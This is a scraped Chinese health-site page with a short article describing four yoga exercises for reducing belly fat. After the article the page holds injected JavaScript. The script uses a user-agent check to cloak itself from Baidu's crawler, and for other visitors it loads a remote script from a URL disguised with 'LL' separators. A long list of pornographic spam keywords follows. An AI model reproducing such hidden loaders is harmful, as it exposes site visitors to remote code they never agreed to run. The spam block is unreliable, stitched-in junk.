當前位置:首頁 > 減肥 > 運動減肥 > 正文

肚子贅肉怎么減?四個瑜伽動作堪稱完美

2017-01-15 23:13:49  來源:360常識網   熱度:
導語:運動減肥些男人來說,肚子上面的贅肉會令自己一籌莫展,畢竟肚子上面脂肪堆積實在太多,所以普通的運動減肥效果并不是很好。難道真的拿這些

運動減肥些男人來說,肚子上面的贅肉會令自己一籌莫展,畢竟肚子上面脂肪堆積實在太多,所以普通的運動減肥效果并不是很好。難道真的拿這些贅肉沒轍?也不是,例如下面這幾個瑜伽動作,就可以輕松減掉腹部贅肉。

抬腿

減肥重點:腹部、臀部

抬腿瘦腹臀

動作:坐在樓梯(床沿、硬椅子邊)上,雙腳分開平放在地面上,抓住樓梯邊緣,抬雙腿與臀部同高。保持姿勢,雙腳一齊用力并攏。放下雙腳,回起始位。重復5~10次。

拱橋

減肥重點:手臂、腹部、背部、腿

拱橋瑜伽瘦四肢

動作:A 俯臥,后背繃直,用前臂和腳趾支撐身體,頸部與后背在一條直線上。B 向上抬起臀部,使身體成倒V字狀,頭在雙臂之間。保持姿勢放松。緩慢回到動作A。重復5-10次。

下壓

減肥重點:腰部、腹部

下壓瑜伽瘦腰腹

動作:臉向下,趴在長椅上(床沿),左腳放在地面上,左腳尖與肩在一條垂直線上,向后伸右腿,挺胸,雙手支撐起身體。

扭轉

減肥重點:腹部、背部

扭轉瑜伽瘦腹背

動作:坐姿。抬下頜,拉伸頸部,分別向左右側做扭轉。每組2分鐘。

你也可以這樣做:站姿,雙腳同肩寬,向上伸展雙臂,在背部交叉,右手觸左肩,左手觸右肩,收腹,向左側扭轉軀干,靜止姿勢5秒,回中心位置,向另一側扭轉。做5-10次。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品免费电影| 国产精品高清在线观看| 97人妻精品全国免费视频| 亚洲精品久久久久无码AV片软件| 久夜色精品国产一区二区三区| 国产对白精品刺激一区二区| 精品乱人伦一区二区三区| 国产精品十八禁在线观看| 91精品导航在线网址免费| 91精品美女在线| 国产精品亚洲va在线观看| 久久久久人妻一区精品色 | 亚洲综合一区无码精品| 久久久精品2019中文字幕之3| 国产精品高清在线观看| 国产成人午夜精品一区二区三区| 日产精品久久久一区二区| 久久se精品一区二区影院 | 国产精品无码av天天爽 | 精品国产一区二区三区| 亚洲国产精品婷婷久久| 91精品国产福利在线导航| 国产亚洲精品精品精品| 精品麻豆国产色欲色欲色欲www| 91久久精品国产免费一区 | 久久99国产精品久久99| 亚洲精品老司机在线观看| 精品国产一区二区二三区在线观看| 2022久久国产精品免费热麻豆| 亚洲精品白浆高清久久久久久| 国产福利电影一区二区三区久久久久成人精品综合 | 无码国产亚洲日韩国精品视频一区二区三区 | 国内精品免费视频精选在线观看| 日韩精品亚洲专区在线观看| 国产精品久久久久一区二区三区 | 国产午夜精品理论片| 亚洲精品国自产拍在线观看| 国产一精品一aⅴ一免费| 日韩精品福利在线| 精品videossexfreeohdbbw| 一本色道久久88—综合亚洲精品 |